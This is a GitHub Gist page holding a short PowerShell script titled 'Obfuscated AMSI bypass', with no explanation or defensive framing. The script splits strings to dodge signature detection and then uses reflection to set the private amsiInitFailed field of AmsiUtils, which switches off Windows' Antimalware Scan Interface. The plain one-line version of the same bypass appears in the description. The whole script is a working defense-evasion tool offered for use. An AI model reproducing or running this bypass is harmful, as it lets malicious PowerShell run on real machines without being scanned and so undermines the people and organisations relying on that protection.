Created
October 22, 2024 04:16
-
-
Save timsonner/23e677c8fb1b662dc95b7a7b6997934e to your computer and use it in GitHub Desktop.
Obfuscated AMSI bypass. [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| # [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true) | |
| # Create a reference to the assembly with further obfuscation | |
| $randomPart = 'A' + 'msi' + 'Utils' | |
| $ref = [Ref] | |
| $asm = $ref.Assembly | |
| $amsiType = $asm.GetType('System.' + 'Management.' + 'Automation.' + $randomPart) | |
| # Prepare the field name in a more obfuscated way | |
| $amsiFieldName = 'amsi' + 'Init' + 'Failed' | |
| $amsiField = $amsiType.GetField($amsiFieldName, 'NonPublic, Static') | |
| # Set the field value to bypass AMSI | |
| $amsiField.SetValue($null, $true) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment